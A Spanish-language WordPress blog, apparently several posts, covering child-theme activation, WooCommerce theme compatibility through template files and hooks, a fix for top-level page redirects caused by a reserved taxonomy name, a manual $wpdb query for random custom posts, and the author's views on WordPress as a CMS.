        wp_get_theme()->get('Version')
    );
}
add_action( 'wp_enqueue_scripts', 'my_theme_enqueue_styles' );
?>

Tu tema hijo esta listo para la activación. Ve a apariencia->temas y activa el creado anteriormente. Puedes llegar a necesitar salvar el menú nuevamente y las opciones del theme. Para ello ve a Apariencia->Menú y salvalo nuevamente, lo mismo para las opciones del tema padre.


Crear Theme compatible con WooCommerce

Categoría: Wordpress

Para crear un theme compatible con woocommerce partiendo de un theme básico vamos a necesitar tener varias previsiones. Las cuales serán detalladas a continuación con sus respectivos tips para hacerlo amigable y sencillo para el usuario con poco conocimiento de wordpress.

Los principales inconvenientes se dán en los diferentes layouts cuando queremos agregar las páginas de woocommerce en si mismo. Los sidebars pueden quedar en posiciones distintas o inclusive si nuestro theme es algo anticuado y esta realizado por desarrolladores con poca experiencia puede ser algo tedioso volverlo compatible.

Esto potencialmente puede afectar la pagina de compra, la pagina de producto y las paginas de taxonomias (categorias y tags) porque WooCommerce usa templates para mostrar sus propias paginas y es imposible conocer exactamente el taggeado de los temas usados. Otras paginas (checkout, carrito, cuenta) no son afectadas porque usan la misma plantilla de page.php

Hay dos caminos para resolver esto:

Usando Hooks (para usuarios avanzados o desarrolladores).

Usando la funcion woocommerce_content() dentro del mismo theme.

Usando woocommerce_content()

Esta solucion permite crear un nuevo template de pagina dentro de tu theme original y será usado por todas las taxonomias y tipos de post de WooCommerce. Si bien es una solución sencilla tiene un inconveniente en que será usado por todas las taxonomias y post types de woocommerce. Los desarrolladores usan por lo general los hooks para ello.

Para instalar esta plantilla de página:

Duplicamos page.php

Duplicando el archivo page.php y nombrandolo woocommerce.php. Este archivo será encontrado como: wp-content/themes/YOURTHEME/woocommerce.php.

Editar la página (woocommerce.php)

Abrimos el archivo con nuestro editor de texto favorito

Reemplazamos el ciclo

Necesitamos encontrar el ciclo. Usualmente comienza con

<?php if ( have_posts() ) :

y termina usualmente con:

<?php endif; ?>

Esto puede varia entre distintas plantillas de wordpress. Una vez que lo encontramos, lo borramos y agregamos en su lugar:

<?php woocommerce_content(); ?>

Esto usará el ciclo de WooCommerce en vez de el ciclo de wordpress. Salvar el archivo. Listo.

Usando hooks

El método hook es mas complicado que el anterior pero también es mas flexible. Esto es similar al método que usamos cuando creamos plantillas de wordpress. Es también el método que usamos para integrar las plantillas Twenty Ten a Twenty Sixteen.

Insertamos algunas pocas lineas en el archivo functions.php dentro de nuestra plantilla.

Primero desestimamos los wrappers de WooCommerce:

remove_action( 'woocommerce_before_main_content', 'woocommerce_output_content_wrapper', 10);
remove_action( 'woocommerce_after_main_content', 'woocommerce_output_content_wrapper_end', 10);

Despues enganchamos en nuestras propias funciones los wrappers para mostrar en la plantilla:

add_action('woocommerce_before_main_content', 'my_theme_wrapper_start', 10);
add_action('woocommerce_after_main_content', 'my_theme_wrapper_end', 10);

function my_theme_wrapper_start() {
  echo '<section id="main">';
}

function my_theme_wrapper_end() {
  echo '</section>';
}

Asegurarse que los tags matcheen con los que usamos en nuestra plantilla. Sino estamos seguros de que clases o IDs estamos usando miramos page.php para confirmar los tags elegidos.

Declaramos el soporte para WooCommerce

Una vez que nuestra plantilla soporta WooCommerce funcionalmente, deberiamos declarar esto en el codigo para ocultar en el Dashboard el mensaje que sale de que nuestra plantilla no tiene soporte para WooCommerce. Esto lo hacemos agregando el siguiente código en functions.php.

add_action( 'after_setup_theme', 'woocommerce_support' );
 function woocommerce_support() {
 add_theme_support( 'woocommerce' );
 }

Solución a Redirección de páginas de primer nivel

Categoría: Wordpress

WordPress muchas veces nos trae inconvenientes que son difíciles de diagnosticar sin tener en cuenta la forma de que se realizo el theme. Para eso tenemos que tener en cuenta muchas consideraciones y es en base a eso que vamos a comentar las soluciones a las redirecciones de paginas de primer nivel.

No se hablará de todo lo relacionado a redirecciones ya que es un tema muy profundo y no es el objetivo de este post.

Cuando nos encontramos con que las redirecciones de wordpress funcionan correctamente pero solo en ciertas paginas/posts tenemos que tener especial cuidado de los plugins que tenemos instalados.

En nuestro caso nos pasó que las paginas linkeaban correctamente cuando estas eran hijas de alguna otra. Pero cuando queríamos acceder a paginas de primer nivel la redirección iba directamente al home.

Los pasos que se hicieron para encontrar la solucion fueron los siguientes:

  • Cambiar a algún template default para ver si el problema persiste. En nuestro caso el problema era el theme propiamente dicho.
  • Habilitar el debug en wp-config para ver si aparecía algún nuevo error.
  • Verificar que functions.php este bien escrito y sea 100% acorde a los standares de wordpress
  • Prestar especial atencion a los custom post types y custom taxonomies generados en functions.php (https://codex.wordpress.org/Function_Reference/register_taxonomy)
  • En nuestro caso el error se dio porque registraban una taxonomía que era reservada para wordpress (year)
  • Cambiando esto y regenerando nuevamente los permalinks se soluciono el problema

Espero que la solución dada le sea de utilidad a algún desarrollador mas.


Agregar posts manualmente en wordpress

Categoría: Wordpress

Es de común pedido por parte de los clientes el agregar varias clases de posts en una misma página. Para ello se utiliza la sentencia «query_posts($args)» o sino «$query = new WP_Query($args)» donde «$args» son los argumentos pasados a las funciones wordpress para estas queries o consultas. Pero esto suele tener algunos inconvenientes y a veces necesitamos agregar posts manualmente en wordpress.

También se suele utilizar algún orden específico, fecha, id, custom field, etc; pero desde hace un tiempo se utilizan algunos plugins para ordenarlos en forma manual, el cual utilizan «drag & drop» y así le dá al usuario un nivel mas de customización.
Pero estos plugins por lo general agregan funciones y filtros que pueden bloquear algunos ordenes utilizados en otros lugares.

Es por eso que es siempre útil conocer la sintáxis de wordpress a la hora de realizar queries manualmente. Es algo tedioso tener que usar queries manuales ya que si en alguna actualización de wordpress cambia la base de datos esto dejará de funcionar. Pero esto nos puede sacar de un apuro en caso de que un cliente asi lo requiera.


global $wpdb;
global $post;
 $querystr = "
    SELECT * 
    FROM $wpdb->posts
    WHERE $wpdb->posts.post_status = 'publish' 
    AND $wpdb->posts.post_type = 'sponsor'
    ORDER BY RAND()
	LIMIT 4
 ";
$pageposts = $wpdb->get_results($querystr, OBJECT);


  if ($pageposts):
   global $post; 
 foreach ($pageposts as $post): 
     setup_postdata($post); 
 the_title(); 	

endforeach;
endif;

>

Como vemos en el ejemplo lo que estamos solicitando es obtener 4 posts random que sean del custom post type «sponsor». Despues mostramos solo el título como ejemplo pero podemos mostrar lo que quisieramos.


Logo Wordpress

Experiencia WordPress

Categoría: Wordpress

WordPress es uno de los CMS que más se ha desarrollado en los ultimos 2 años. Esto se debe a su excelente calidad y a la facilidad de crear nuevos sitios en poco tiempo.

Particularmente yo empece a usar hace algunos años ModX pero debido a la dificultad que presentaba el sistema, los clientes fueron preguntando sino existia una forma mas simple de crear contenido y demás. Cabe destacar que modx es muy potente y se pueden hacer cosas realmente geniales.

Logo WordPress

Fue ahí cuando empecé a usar wordpress. Al principio fue creado solo para blogs, pero dada la facilidad que tenía la gente de escribir contenido, este empezó a obtener popularidad y la demanda de sitios con wordpress fue creciendo.

En ese momento fue cuando el equipo wordpress empieza a agregarle funcionalidad al CMS, y el mundo del desarrollo comenzó a crear plugins y themes con mas funcionalidad. Actualmente estamos en la version 3.5 y cada vez estan largando versiones mas rapido. Para fin de año la version 4.0 estaría con nosotros ya.  (No puedo imaginar todo lo que le pueden llegar a agregar, ya que esta bastante bien ahora).

El gran punto flojo en wordpress es que al haber tanta gente escribiendo plugins y demás, y no todos escriben código de la misma forma ello se torne tedioso en cuanto a la compatibilidad de varios plugins instalados en un mismo sitio.

Varias empresas están empezando a contratar gente con experiencia en wp, ya que si bien es un CMS y no es complicado, uno necesita de experiencia a la hora de diseñar la programacion del mismo. Uno se tiene que sentar a pensar y sacar conclusiones de cuál sería la mejor forma de encarar un wordpress.

Hoy hay muchas diferencias entre un sitio wp bien desarrollado y uno que se empezo a codificar desde el principio. Los casos mas notorios se dan cuando uno tiene un sitio web en donde usamos los post con categorias para todos y eso se puede cambiar tambien por custom post types con taxonomias.

Otro punto a la hora de desarrollar un sitio es que tenemos que pensar si vamos a tener usuarios con distintos roles. Esto tiene que ser bien pensado de antemano y no ir probando varios plugins, ya que despues la facilidad de uso despues se puede ver opacada.

Wp tambien sirve para tiendas online de todos los tipos, hay varios plugins para ello, algunos mas potentes que otros; igual para mi esta parte todavia no esta bien madura con los plugins que hay actualmente. Algunos plugins se están desarrollando y en breve van a estar online para el uso de estos.

WordPress es hoy sin lugar a duda el mejor CMS en cuanto a flexibilidad, facilidad de uso y costo. Por eso es que cada vez mas gente esta girando hacia este CMS, aprenderlo y poder ofrecer sus servicios. Muchos desarrolladores lo ven con malos ojos al tener un sitio web con un CMS armado y no a medida, pero para sitios de chicos a medianos es una buena opción. Con el agregado de plugins wp puede ser una herramienta altamente calificada a la hora de realizar sitios webs.